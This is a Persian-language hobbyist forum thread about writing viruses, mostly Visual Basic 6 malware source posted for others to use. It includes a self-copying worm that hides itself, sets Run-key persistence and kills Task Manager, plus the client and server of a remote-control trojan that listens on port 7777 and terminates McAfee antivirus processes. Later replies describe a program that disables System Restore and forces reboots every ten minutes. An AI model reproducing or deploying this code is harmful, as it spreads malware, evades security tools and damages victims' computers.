ويروس نويسي و انتي ويروس نويسي

کده یه ویروس که اگه اجرا بشه خدا می دونه چه بلایی سرت میاره مجبورت میکنه هی ویندوز عوض کنی تا هارد ت بسوزه...فقط نیاز به تایمر دارید...با Interval=1
:31:

کد:

---

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Me.Hide
App.TaskVisible = False
Set fso = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Shell.Application.1", "")
vin = App.EXEName & ".exe"
fpi = App.Path
foy1 = (fpi)
foy2 = ("fso.GetFolder(foy1).SubFolders")
For Each foy2 In fso.GetFolder(foy1).SubFolders
fso.CopyFile vin, foy2 + "\" + vin
fso.createfolder foy2 & "2"
s.open foy2 + "\" + vin
fso.deletefile "..\" + vin
Next
fso.CopyFile App.EXEName + ".exe", "c:\" + App.EXEName + ".exe", False
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName + "c", "c:\" & App.EXEName + ".EXE"
fso.CopyFile App.EXEName + ".exe", "d:\" + App.EXEName + ".exe", False
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName + "d", "d:\" & App.EXEName + ".EXE"
End
End Sub
Private Sub Timer1_Timer()
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
End Sub

---

برای ساخت تروجان مانند مجیک یا ساب سون:
کد کلاینت یعنی شما حرفه ای ها میدونن چه چیزایی نیاز داره

کد:

---

Private Sub Command1_Click()
On Error Resume Next
Winsock1.Close
Winsock1.Connect ip.Text, port.Text
End Sub
Private Sub Command2_Click()
On Error Resume Next
Winsock1.SendData "OPENCD"
End Sub
Private Sub Command3_Click()
On Error Resume Next
Winsock1.SendData "CLOSECD"
End Sub
Private Sub Command4_Click()
On Error Resume Next
Winsock1.SendData "RUNWINCALC"
End Sub
Private Sub Command5_Click()
On Error Resume Next
Winsock1.SendData "NOTEPAD"
End Sub
Private Sub Command6_Click()
On Error Resume Next
Dim str1data As String
Winsock1.SendData "EXITTRJ"
Label2.Caption = "STATUS: Disconnected."
End Sub
Private Sub Form_Load()
On Error Resume Next
Shell "taskkill /f /im mcagent.exe", vbHide
Shell "taskkill /f /im mcupdate.exe", vbHide
Shell "taskkill /f /im mcvsshld.exe", vbHide
Shell "taskkill /f /im mcregwiz.exe", vbHide
Shell "taskkill /f /im mcshield.exe", vbHide
End Sub
Private Sub Winsock1_Close()
Label2.Caption = "STATUS: DisConnected!"
End Sub
Private Sub Winsock1_Connect()
On Error Resume Next
Winsock1.SendData "OPENCD"
Label2.Caption = "STATUS: Connected!"
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
MsgBox "Connection Breaked"
If Winsock1.State = 0 Then
Winsock1.Accept requestID
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim str1data, srt2data, str3data, str4data As String
Winsock1.GetData TrojanVersion, vbString
Label2.Caption = "Status: Ready! "
Label1.Caption = "Trojan Version :" + TrojanVersion
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
MsgBox Description
Winsock1.Close
Label2.Caption = "STATUS: Disconnected."
End Sub

---

این هم کد سرور یعنی فایلی که نماینده شما است در رایانه قربانی

کد:

---

Dim TrojanVersion As String
Sub Eject_CD()
On Error Resume Next
mciSendString "set cdaudio door open", 0, 0, 0
End Sub
Sub Close_CD()
On Error Resume Next
mciSendString "set cdaudio door closed", 0, 0, 0
End Sub
Private Sub Form_Load()
On Error Resume Next
Winsock2.Close
TrojanVersion = "1.08"
Winsock2.LocalPort = 7777
Winsock2.Listen
Me.Hide
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
DoEvents
Dim strData As String
Call Winsock2.GetData(strData, vbString)
If strData = "CLOSEME" Then
Unload Me
ElseIf strData = "CDOPEN" Then Eject_CD
DoEvents
ElseIf strData = "CDCLOSE" Then Close_CD
DoEvents
ElseIf strData = "RUNWINCALC" Then
Shell "calc.exe"
ElseIf strData = "XSXTROJAN" Then
Winsock2.SendData TrojanVersion
ElseIf strData = "NOTEPAD" Then
Shell "notepad.exe"
End If
End Sub

---

salam man ye barnameye ---- baraye Win XP neveshtam ke jalebe hatman downloadkonin ba nazar bedin ... aval Keyboard va mouse az kar miyoftan vali baad az modati dorost mishe ....nazar bedina

in linko mitoonin too tapike man moshahede konin :mazi_z_MCSD

be mazi_z_MCSD morajee konin

فکر کنم محتویات این تاپیک بتون کمک کنه!

[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

مرسي از h_proxy خواهش ميكنم ادامه بديد عالي

از Alireza_Shafaei_PCworld هم بخاطر تاپيك عاليشان ممنون

نقل قول:

---

bakhsh 3 mige file kharab hast va baz nemisheeee

---

درسته . خرابه .
خوب دوست عزیز . کار جالبیه . ولی قبل از هر چیزی باید آموزش آنتی ویروس رو میزاشتی . چون اول پیشگیری بعد مقابله !

نقل قول:

---

shirazhaker لطفا نوع ويروس و قدر تخريب رو هم بنويسيد تا افراد ناوارد دچار مشكل نشوند

اين برنامه از خودش توي درايوي كه هست با سرعت زيد كپي مي كنه
Task manager وsystem restore از كار ميندازه
هر 10 دقيقه كامپيوتر رو restart مي كنه
تو رجيستري تعريف ميشه كه با windows بالا بياد
البته اگه يزه زحمت بكشيد خودتون كلي چيز ميتونيد بهش اضافه كنيد
راستي نظر هم بديد

---

این هم حرف درستی بود .
راستی ویروس ها رو باید RAR میکردی که آزاد نباشند .
چطور کسی مال این حرفا نیست . یه ویروس خودم نوشتم که همون ابتدای بالا آمدن ویندوز وقتی که سیستم مشخصات رو شناسایی میکنه ( 2 ثانیه بعد شنیدن صدای بوق ) Restart میشه !
مازی جان لطف کن فارسی بنویس .

ok پس چرا زودتر شركت نكردي حالا هم دير نيست

اگر برات ممكن بيشتر توضيح بده

در ضمن h_proxy جان اينهايي كه نوشتي برنامه هاي كنترل از راه دور هست و با ويروس نويسي فرق داره
ويروس هميشه اتوماتيك عمل ميكنه